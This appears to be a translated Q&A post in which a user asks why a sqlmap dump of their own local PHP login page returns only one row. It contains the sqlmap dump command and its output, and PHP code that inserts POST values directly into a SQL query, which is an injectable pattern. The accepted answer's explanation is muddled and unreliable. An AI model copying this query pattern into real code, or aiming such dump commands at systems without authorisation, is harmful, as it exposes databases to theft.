POST sql 注入时未显示全部数据

POST sql 注入时未显示全部数据
sqlmap -u "http://192.168.0.106/get_method/get_data_login/" --data="name=name&password=pass"  -D get_method -T user --dump

输出 :

[11:27:40] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.27, Apache 2.4.46
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[11:27:40] [INFO] fetching columns for table 'user' in database 'get_method'
[11:27:40] [INFO] resumed: 'serial'
[11:27:40] [INFO] resumed: 'int(255)'
[11:27:40] [INFO] resumed: 'name'
[11:27:40] [INFO] resumed: 'varchar(255)'
[11:27:40] [INFO] resumed: 'password'
[11:27:40] [INFO] resumed: 'varchar(255)'
[11:27:40] [INFO] resumed: 'timestamp'
[11:27:40] [INFO] resumed: 'timestamp'
[11:27:40] [INFO] fetching entries for table 'user' in database 'get_method'
[11:27:40] [INFO] resumed: '2021-03-26 11:21:25'
[11:27:40] [INFO] resumed: 'hello'
[11:27:40] [INFO] resumed: 'hey'
[11:27:40] [INFO] resumed: '222'
Database: get_method
Table: user
[1 entry]
+-------+--------+----------+---------------------+
| name  | serial | password | timestamp           |
+-------+--------+----------+---------------------+
| hello | 222    | hey      | 2021-03-26 11:21:25 |
+-------+--------+----------+---------------------+

[11:27:40] [INFO] table 'get_method.`user`' dumped to CSV file '/home/istiak/.local/share/sqlmap/output/192.168.0.106/dump/get_method/user.csv'
[11:27:40] [INFO] fetched data logged to text files under '/home/istiak/.local/share/sqlmap/output/192.168.0.106'

[*] ending @ 11:27:40 /2021-03-26/

php代码 :

include 'connection.php';
if($_SERVER['REQUEST_METHOD']=='POST'){
    $name=$_POST['name'];
    $password=$_POST['password'];
    
    $query = mysqli_query($con,"SELECT * FROM `user` WHERE `name`='$name' && `password`='$password'");
    $rows = mysqli_num_rows($query);
    if($rows==0){
        echo "failure";
    }else{
        echo "succeed";
    }

}

mysqli_close($con);

问题是当我运行此代码时,sqlmap -u "http://192.168.0.106/get_method/get_data_login/" --data="name=name&password=pass" -D get_method -T user --dump它正在发送,data="name=name&password=pass"而数据库中没有数据在此输入图像描述

而且,当我运行该代码时,我只获得数据。

+-------+--------+----------+---------------------+
| name  | serial | password | timestamp           |
+-------+--------+----------+---------------------+
| hello | 222    | hey      | 2021-03-26 11:21:25 |
+-------+--------+----------+---------------------+

为什么我无法获取所有数据?我也尝试过这个,sqlmap -u "http://192.168.0.106/get_method/get_data_login/" --data="name=hello&password=hey" -D get_method -T user --dump虽然我得到了相同的输出..

答案1

php首先看看你的代码

include 'connection.php';
if($_SERVER['REQUEST_METHOD']=='POST'){
    $name=$_POST['name'];
    $password=$_POST['password'];
    
    $query = mysqli_query($con,"SELECT * FROM `user` WHERE `name`='$name' && `password`='$password'");
    $rows = mysqli_num_rows($query);
    if($rows==0){
        echo "failure";
    }else{
        echo "succeed";
    }

}

mysqli_close($con);

sql无论我将发送到此文件,它现在只会检查代码。SELECT * FROM `user` WHERE `name`='$name' && `password`='$password'从用户表中选择名称=“无论用户发送的内容”和密码=“无论用户发送的内容”的所有内容。这就是为什么我没有列出所有清单的原因。

相关内容